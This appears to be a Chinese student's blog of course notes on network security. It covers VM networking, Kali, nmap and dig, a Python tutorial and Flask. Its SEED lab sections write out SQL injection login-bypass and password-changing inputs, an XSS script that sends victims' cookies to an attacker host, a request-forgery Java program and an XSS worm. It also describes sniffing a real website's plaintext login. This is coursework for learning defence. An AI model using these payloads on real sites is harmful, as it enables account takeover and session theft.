《网络攻防相关》
程序 = 指令 + 数据
对于程序怎么理解成“指令+数据”,从汇编语言的层面看最为清晰。一个程序被编译为汇编语言后,很明显的看出实际上就是一行行的汇编代码,而这一行行的汇编代码有相同的格式,都是一个指令,后面接上要操作的数据或者寄存器,而寄存器只是为数据提供一种存储方式,所谓操作寄存器实际是操作寄存器中的数据。
XOR AX, AX
XOR BX, BX
XOR DX, DX
MOV CX, 10
MOV SI,OFFSET ARRAX
因此 程序= 指令 + 寄存器 是对程序一种直观的解释方式,相比于 程序 = 算法 + 数据结构 这种要直观的多。
缓冲区溢出 XSS攻击 SQL注入攻击 共同点、统一防范
就我个人理解而言,这些安全问题的共同点是都进行了越界访问,访问了他们本不该访问到的内存空间,从而执行了本不该被执行的代码。
对于缓冲区溢出攻击来说,这种说法非常好理解,就是缓冲区溢出字面的意思。
对于XSS攻击,XSS攻击被认为是“新型的缓冲区溢出攻击”,其本质也是利用缓冲区溢出实现。
对于SQL注入攻击该如何理解呢?SQL注入是一种针对数据库的攻击方式,攻击者在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。在设计的意图中,接受这些恶意的sql指令的地方本不应该执行该种类型的代码,也就是说本来应该没有权限进行该种类型的操作,查询就应该只是查询,而且只能是在该针对用户的查询或者说是针对数据库中某个表的某一项的查询,用户的输入本来只能是参数而非指令,而当用户的输入变成指令后,访问的内存就不是原来指令所在的内存了。
要提出统一的防范措施,我认为很难对所有攻击做到有效的防御,或者说不能比单独针对这三种攻击的防范措施加起来做的更好。因为这三种攻击毕竟是针对三种不同的应用。如果说有一种统一的防范措施的话,那我觉得是严格的内存边界检查,对每一条指令的访问内存范围都进行检查,但这会大大拖慢程序的运行效率。
桥接和NAT
在课上使用nmap扫描的过程中,发现如果将kali的网络设置为NAT模式,扫描速度会非常慢,改为桥接模式则会好很多。这里整理一下VMware中桥接模式和NAT模式的区别。
在桥接模式下,VMware虚拟出来的操作系统就像是局域网中的一独立的主机,它可以访问网内任何一台机器不过你需要多于一个的IP地址,并且需要手工为 虚拟系统配置IP地址子网掩码,而且还要和宿主机器处于同一网段,这样虚拟系统才能和宿主机器进行通信。
如果你想利用VMware在局域网内新建一个虚拟服务器,为局域网用户提供网络服务,就应该选择桥接模式。
使用NAT模式,就是让虚拟系统借助NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网也就是说,使用NAT模式可以实现在虚拟系统里访问互 联网NAT模式下的虚拟系统的TCP/IP配置信息是由VMnet8(NAT)虚拟网络的DHCP服务器提供的,无法进行手工修改,因此虚拟系统也就无法 和本局域网中的其他真实主机进行通讯采用NAT模式最大的优势是虚拟系统接入互联网非常简单,你不需要进行任何其他的配置,只需要宿主机器能访问互联网即可。
如果你想利用VMware安装一个新的虚拟系统,在虚拟系统中不用进行任何手工配置就能直接访问互联网,建议你采用NAT模式。
kali 安装与配置
官网下载最新的kali64位镜像,照视频中步骤安装没有任何问题,甚至连视频中提到的一直回车选择默认选项会遇到的死循环也没有遇到。
不过有一点不知道是不是有些遗憾,kali网络设置成桥接模式一直没法连通互联网,还是改为NAT模式解决的。
教材实践内容
1.《碟中谍6》观后感。电影中各种各种欺骗或者渗透攻击实际上涉及到很多,最精彩的那一段无疑是将一个人完全封闭在一个铁箱子中的虚拟环境中进行欺骗。这种做到全套的欺骗,防不胜防。
2.通过社会工程学的方法获取异性同学的生辰八字等。能想到的办法都要通过欺骗,不适合用在同学身上,我本身也不适合骗人,想想还是算了。
3.部署个人网络攻防实验环境,课上测试已提交不再赘述。不过宿主机windows和虚拟机的linux不能ping通倒是有些疑问,因为windows之间的连通是没有问题的,会不会是vmware对于不同系统之间存在保护或者本机防火墙之类的呢?
4.国外著名黑客CharlieMiller和ChrisValasek。通过车载娱乐系统远程控制了一辆吉普切诺基,致使克莱斯勒公司不得不紧急升级系统并召回旗下140万辆存在隐患的车辆。
5.国内著名黑客。KEEN Team是国内公认的白帽无敌团队,在Pwn2Own比赛中两次夺得三项冠军,是中国历史上唯一能够两次参加这项比赛的团队。在查找CVE漏电时,像360这种专注系统安全的团队一共才发现了40多个CV漏洞,而KEEN Team则发现了300多个,查找漏洞的能力比360高达7倍。除了这些,KEEN Team还为微软、谷歌、苹果等公司提供了数百个严重安全漏洞的挖掘成功,他们查找的数量甚至超过了这些公司的技术团队。
那为什么采用NAT模式时扫描会进行的特别慢呢?初步推测是每次数据包发送都要经过网络地址转换拖慢了扫描速度。
教材实践内容
开启wireshark,打开目标bbs网站https://bbs.nubia.com并登陆,此时wireshark中已经抓取到了大量数据包。
通过ping命令或的目标bbs网站的IP:
然后在wireshark中按照IP过滤:
但是正如我们知道的https传输加密数据,我盯了半天也没看出什么来:
换一个网站,随便找一个炒股的网站http://www.yzskj.com,先注册,登录时抓包,这种网站果然不会让人失望,第一个发往目标服务器的http包中找到了明文的账号密码:
talnet也是同理,telnet的报文也是明文传输的。
SQL注入实践
环境需求
vmware镜像SEEDUbuntu9-Aug-2010
。下载地址http://www.cis.syr.edu/ ?wedu/seed/
实验准备
启动Apache服务器:
使用URL:http://www.sqllabmysqlphpbb.com访问thephpBB2server(需要首先启动apache服务器):
Web应用程序的源代码位于:
/var/www/SQL/SQLLabMysqlPhpbb/
可以通过把以下内容添加到/etc/hosts 文件来建议一个域名映射:
127.0.0.1 www.example.com
因此,如果你的Web服务器和浏览器在两台不同的计算机上运行,??则需要相应地修改浏览器计算机上的/etc/hosts文件以将www.sqllabmysqlphpbb.com映射到相应Web服务器的IP地址。
PHP提供了一种自动防御SQL注入攻击的机制。 该方法称为magic quote,更多细节将在Task 3中引入。让我们首先关闭这个保护(这个保护方法在PHP 5.3.0之后已经弃用):
- Go to/etc/php5/apache2/php.ini.
- Find the line:magicquotesgpc = On.
- Change it to this:magicquotesgpc = Off.
- Restart the apache server by running"sudo service apache2 restart".
文件修改:
select注入
用户输入用户名和密码后,登录.phpprogram将使用用户提供的数据来确定它们是否与数据库中任何记录的用户名和用户密码字段匹配。 如果匹配,则表示用户提供了正确的用户名和密码组合,应该允许登录。 与大多数其他Web应用程序一样,PHP程序使用标准SQL语言与其后端数据库进行交互。 对于phpBB2,在login.php中构造以下SQL查询来验证用户:
SELECT user_id, username, user_password, user_active, user_level,user_login_tries, user_last_login_try
FROM USERS_TABLE
WHERE username = ’$username’ AND user_password = ’md5($password)’;
if (found one record)
then {allow the user to login}
在上面的SQL语句中,USERSTABLE是php中的宏,它将被用户名称替换为:phpbbusers,$ username是一个变量,用于保存在Usernametextbox中键入的字符串,$ password是一个变量,用于保存在thePasswordtextbox中键入的字符串。 用户在这两个文本框中的输入直接放在SQL查询字符串中。
sql注入原理就在于此,通过字符串的直接插入,灵活运用单引号‘
和注释符号#
可以做到一定程度上修改sql查询。
在首页上可以获得用户名信息:
通过在用户名位置输入alice‘ #
完成攻击,在不用输入密码的情况下完成登录:
update 语句注入
在不知道他/她的密码的情况下更改其他用户的个人资料。 例如,如果你以Alice身份登录,则你的目标是使用此漏洞修改Ted的个人资料信息,包括Ted的密码。 攻击发生后,你应该能够登录Ted的帐户。
在profile页面修改个人信息,想办法造成一个sql语法错误,如在某位置输入:a`,会返回sqldebug信息:
同时我们发现ted是新注册的用户,点击memlist发现url最后的数字6,猜测ted的uid为6,在profile最后位置(防止注释掉修改密码的语句)输入如下语句:
a' where user_id = 6#
同时在current password 位置输入alice的密码,下面新密码为更新内容,输入想给ted设置的密码即可。
对抗sql注入
本例中有效方法是我们之前关闭的magic,将它打开。
比较通用的方法总结如下:
- escape处理。
- 一般会用到两个函数mysql_real_escape_string()和addslashes()
- mysql_real_escape_string()函数会转义:‘ " \r \n NULL Control-Z
- addslashes()函数会转义:‘ " 反斜线和NULL。
- 使用预编译语句,绑定变量,这是防御sql注入的最佳方式。
- 使用存储过程,尽量避免在存储过程中使用动态的SQL语句。
- 检查数据类型
- 使用安全函数
xss攻击实验
环境要求
同上
实验准备
启动Apache服务器,同上。
配置DNS,同上。
发布恶意消息以显示警报窗口
此任务的目的是发布包含JavaScript的恶意消息以显示警报窗口。应在消息中提供JavaScript以及用户注释。 以下JavaScript将显示一个警告窗口:
如果您在留言板中发布此JavaScript以及您的评论,那么查看此评论的任何用户都将看到警报窗口。
发布恶意回复:
显示警告窗口:
发布恶意消息以显示Cookie
此任务的目的是在包含JavaScript代码的留言板上发布恶意消息,这样每当用户查看此消息时,将打印出用户的cookie。 例如,考虑以下包含JavaScript代码的消息:
<script>alert(document.cookie);</script>
Hello Everybody,Welcome to this message board.
弹出cookie信息
从受害者的机器窃取cookie
在上一个任务中,恶意的JavaScript代码可以打印出用户的cookie; 在此任务中,攻击者需要JavaScript代码将cookie发送给他/她自己。 为此,恶意JavaScript代码可以向攻击者发送HTTP请求,并将cookie附加到请求中。 我们可以通过恶意JavaScript将标记带有srcset插入到攻击者目标的URL中来实现这一点。当JavaScript插入img标记时,浏览器会尝试从提到的URL加载图像,并且过程最终会发送HTTP GET请求攻击者网站。 下面给出的JavaScript将cookie发送到攻击者机器上提到的端口5555。 在特定端口上,攻击者有一个TCP服务器,它只打印出它收到的请求。 TCP服务器程序将由您提供(可在本实验的网站上获得):
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='+ escape(document.cookie) + ' >'); </script>
This script is to test XSS. Thanks.
使用偷来的cookie冒充受害者
在窃取受害者的cookie后,攻击者可以做任何受害者可以对theppBBweb服务器做的事情,包括在受害者的名字中发布新消息,删除受害者的帖子等。在这个任务中,我们将编写一个程序来伪造一个消息帖子代表受害者。要发布消息帖,我们首先要分析howphpBBworks的发布消息。 更具体地说,我们的目标是找出用户发布消息时发送到服务器的内容。 Firefox的LiveHTTPHeadersextension可以帮助我们; 它可以显示从浏览器发送的任何HTTP请求消息的内容。 从内容中,我们可以识别消息的所有参数。LiveHTTPHeadersextension可以从http://livehttpheaders.mozdev.org/下载,它已经安装在预构建的UbuntuVMimage中。一旦我们了解了消息发布的HTTP请求是什么样的,我们可以编写一个Java程序来发送它 HTTP请求。 ThephpBBserver无法区分请求是由用户的浏览器还是由攻击者的Java程序发出的。 只要我们正确设置所有参数,服务器就会接受并处理发布消息的HTTP请求。 为了简化您的任务,我们为您提供了一个示例Java程序,它执行以下操作:
- 打开与Web服务器的连接。
- 设置必要的HTTP头信息。
- 将请求发送到Web服务器。
- 从Web服务器获取响应。
代码如下:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
String data="username=admin&seed=admin%40seed.com";
urlConn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
if (responseCode == HttpURLConnection.HTTP_OK) {
responseIn = urlConn.getInputStream();
BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
编写XSS蠕虫
该项目应该做到以下几点:
- 使用JavaScript检索用户的会话ID。
- 伪造HTTP post请求以使用会话ID发布消息
代码:
<script>
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var content="subject=" + "XSSWorm" + ...;
Ajax.send(content);</script>
编写自传播XSS蠕虫
在上一个任务中构建的蠕虫只是代表受害者发出信息; 它不会传播自己。 因此,从技术上讲,它不是蠕虫。 为了能够传播自己,伪造的消息还应该包含蠕虫,因此每当有人点击伪造的消息时,就会创建携带相同蠕虫的新伪造消息。 这样,蠕虫就可以传播。 单击伪造消息的人越多,蠕虫传播的速度就越快。
需要我们注意的是,一切对于攻击技术的研究都是为了更好地防范未知的威胁,而不应被用作恶意用途。
案例分析:实际的网页木马攻击场景
书中给出的网站上是诸葛建伟老师实验室的成员介绍,该网站可能没有这个用途了吧。
dig使用经验
1.基础使用,基本DNS查询:
2.查询特定名称服务器:
3.搜索记录类型:
4.反向DNS查找:
5.追踪DNS路径:
6.调整答案长度:
7.从文件查找,在文件中每行输入要查找的域名,使用-f
选项即可:
8.指定端口号,这要求服务器开放相关端口功能:
9.选择ipv4或者ipv6(校园网貌似不支持ipv6):
10.查询所有DNS记录类型:
11.自定义输出:
12.通过.digrc 文件调整默认值:
dnmap client使用经验
dnmap是一个在多个客户端之间分发nmap扫描的框架。 它使用nmap命令读取已创建的文件,并将这些命令发送到与其连接的每个客户端。
该框架使用客户端/服务器架构。 服务器知道该做什么,客户端知道该做什么。 所有逻辑和统计信息都在服务器中进行管理。 Nmap输出存储在服务器和客户端上。
什么时候会用到这个呢?如果你必须扫描一大群主机,你有几个不同的互联网连接(或想要帮助你的朋友)。
帮助页面:
使用案例:
应该和dnmap_sever搭配使用。
那么什么是nmap呢?Nmap(网络映射器)是一款用于网络发现和安全审计的网络安全工具,它是自由软件。软件名字Nmap是Network Mapper的简称。通常情况下,Nmap用于:
- 主机发现。用于发现目标主机是否处于活动状态。Nmap 提供了多种检测机制,可以更有效地辨识主机。例如可用来列举目标网络中哪些主机已经开启,类似于Ping命令的功能。
- 端口扫描。用于扫描主机上的端口状态。Nmap可以将端口识别为开放(Open)、关闭(Closed)、过滤(Filtered)、未过滤(Unfiltered)、开放或过滤(Open|Filtered)、关闭或过滤(Closed|Filtered)。默认情况下,Nmap会扫描1660个常用的端口,可以覆盖大多数基本应用情况。
- 版本侦测。用于识别端口上运行的应用程序与程序版本。Nmap当前可以识别数千种应用的签名(Signatures),检测数百种应用协议。而对于不识别的应用,Nmap默认会将应用的指纹(Fingerprint)打印出来,如果用户确知该应用程序,那么用户可以将信息提交到社区,为社区做贡献。
- 操作系统侦测。用于识别目标主机的操作系统类型、版本编号及设备类型。Nmap当前提供1500个操作系统或设备的指纹数据库,可以识别通用PC系统、路由器、交换机等设备类型。
- 防火墙/IDS规避和哄骗。Nmap提供多种机制来规避防火墙、IDS的的屏蔽和检查,便于秘密地探查目标主机的状况。基本的规避方式包括:分片、IP诱骗、IP伪装、MAC地址伪装。
- NSE脚本引擎。NSE是Nmap最强大最灵活的特性之一,可以用于增强主机发现、端口扫描、版本侦测和操作系统侦测等功能,还可以用来扩展高级的功能如web扫描、漏洞发现和漏洞利用等。Nmap使用Lua语言来作为NSE脚本语言,当前的Nmap脚本库已经支持350多个脚本。
Nmap可以检测目标主机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。 它是网络管理员必用的软件之一,用以评估网络系统安全。
Nmap 是不少黑客及脚本小子爱用的工具 。系统管理员可以利用Nmap来探测工作环境中未经批准使用的服务器,黑客通常会利用Nmap来搜集目标计算机的网络设定,从而计划攻击的方法。
Nmap通常用在信息搜集阶段,用于搜集目标机主机的基本状态信息。扫描结果可以作为漏洞扫描、漏洞利用和权限提升阶段的输入。例如,业界流行的漏洞扫描工具Nessus与漏洞利用工具Metasploit都支持导入Nmap的XML格式结果,而Metasploit框架内也集成了Nmap工具(支持Metasploit直接扫描)。
Nmap不仅可以用于扫描单个主机,也可以适用于扫描大规模的计算机网络(例如,扫描英特网上数万台计算机,从中找出感兴趣的主机和服务)。
Python3 简明教程
我对于python实际上有一定使用经验了,前面基础性内容略过不谈。
类
第一次接触类是在c++,在实验中发现Python3中的类和c++还是非常像的,当然也有区别,比如Python3中的
__init__
方法,同样作为类的初始化函数,c++的构造函数要求和类同名,可以发现,c++的方式在传参方式方面更容易理解,更严格的符合语法,而python的方式则倾向于更直接的告诉我们函数的功能。
同时Python3中类的成员(属性)也没有私有公有之分,也不需要定义函数去获取属性值,直接读取就好了。
那Python3是如何确保类成员的安全的呢?答案是装饰器。但装饰器的作用远不止这个。具体详见Python3装饰器
模块
看到模块不得不提Python3环境的问题,本Python3教程显然更重视如何写出Python3代码,而不是如何使用Python3,教程中使用实验楼的虚拟环境不用考虑如何配置和管理Python3的环境,但实际使用中这往往是带给我困扰的一方面。如何管理下载的python包,当电脑中存在多个版本的python时如何处理,根据印象应该在新启动一个项目时就针对它在电脑中创建一个虚拟环境,一个隔离的文件夹,不知道是不是就相似于实验楼环境中的
env
。具体详见Python3虚拟环境 venv搭建轻量级虚拟环境
挑战类和Collection模块
在这个实验中存在一个陷阱,由wget得到的代码文件是在windows下编辑,需要在vim下使用
set ff=unix
转为unix模式,具体参考在Ubuntu终端中运行python文件,报错
代码风格
要保持一致且良好的代码风格,这一点我非常认同,看一下我大二时写的爬虫程序:
# -*- coding: utf-8 -*-
"""
Created on Tue Nov 29 18:01:18 2016
@author: TheChosenOne
"""
import urllib
import json
from openpyxl import Workbook
from bs4 import BeautifulSoup
#from openpyxl import load_workbook
target_dir="d://pyworkspace/"
urlroot='http://www.nba.com/players/lebron/james/2544'
'''pl=[]
hh=urllib.request.urlopen(urlroot)
ss=BeautifulSoup(hh,'lxml')
for link in ss.find_all('a'):
pl.append(link.get('href'))
with open("d://pyworkspace/player.txt",'w')as a:
json.dump(pl,a)
'''
playerurl_list=[]
with open("d://pyworkspace/player.txt") as f:
playerurl_list=json.load(f)
workbook=Workbook()
p=0
c=0
for playerurl in playerurl_list:
html=urllib.request.urlopen('http://www.nba.com'+playerurl)
soup=BeautifulSoup(html,'lxml')
body= soup.find_all(name='p',attrs={'class':"nba-player-vitals__top-info-metric"})
#h=list(body[0].strings)
trs=soup.find_all('tbody')
content=soup.find_all(name='th',attrs={'scope':"col"})
ss=BeautifulSoup(str(trs[1]),'lxml')
ss_0=BeautifulSoup(str(trs[2]),'lxml')
title=ss_0.find_all('abbr')
year=ss.find_all('th')
data=ss.find_all('td')
i=1
j=1
k=0
m=1
y=2016
u_list=[]
u_list=playerurl.split('/')
#workbook=Workbook()
worksheet=workbook.create_sheet(u_list[-2]+u_list[-3],p)
p+=1
worksheet.cell(row=i,column=j).value="name"
j=2
while j<=25:
worksheet.cell(row=i,column=j).value=content[m].string
m+=1
j+=1
i=i+1
j=1
while i <= len(year)+1:
worksheet.cell(row=i,column=j).value=u_list[-2]+u_list[-3]
j+=1
worksheet.cell(row=i,column=j).value=y
y=y-1
j += 1
while j<=25:
worksheet.cell(row=i,column=j).value=str(data[k].string)
k += 1
j += 1
i += 1
j=1
#workbook.save(target_dir+u_list[-2]+u_list[-3]+'.xlsx')
print(u_list[-2]+u_list[-3])
workbook.save(target_dir+'player.xlsx')
说实话我一开始有把这段代码放出来的想法时,也没想到它会这么丑···
这也能看出良好且一致的代码风格有多重要。
virtualenv
很抱歉之前以为这个教程没有讲python环境的问题,实在没想到他会放到这么后面。不过之前的链接依然有价值,因为那讲的是在windows/mac下创建python虚拟环境的方法。
- 安装virtualenv:
- sudo apt-get update
- sudo apt-get install python3-pip
- sudo pip3 install virtualenv
- 创建虚拟环境virt1:
- virtualenv virt1
- 激活虚拟环境virt1:
- source virt1/bin/activate
单元测试
在 Python 里我们有 unittest 这个模块来帮助我们进行单元测试。
- unittest单元测试
- 异常测试
- mounttab.py 中只有一个 mount_details() 函数,函数分析并打印挂载详细信息。
- coverage测试覆盖率
Flask介绍
Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表
什么是模板引擎?
使用模板你可以设置你的页面的基本布局,并提及哪个元素将发生变化。这种方式可以定义您的网页头部并在您的网站的所有页面使它保持一致,如果你需要改变网页头部,你只需要更新一个地方。
使用模板引擎创建/更新/维护你的应用会节约你很多时间。
flask框架创建的简单页面如下,首先是index页面:
然后是hello页面:
最后是使用了master模板的hello页面:
原文地址:https://www.cnblogs.com/thechosenone95/p/12009927.html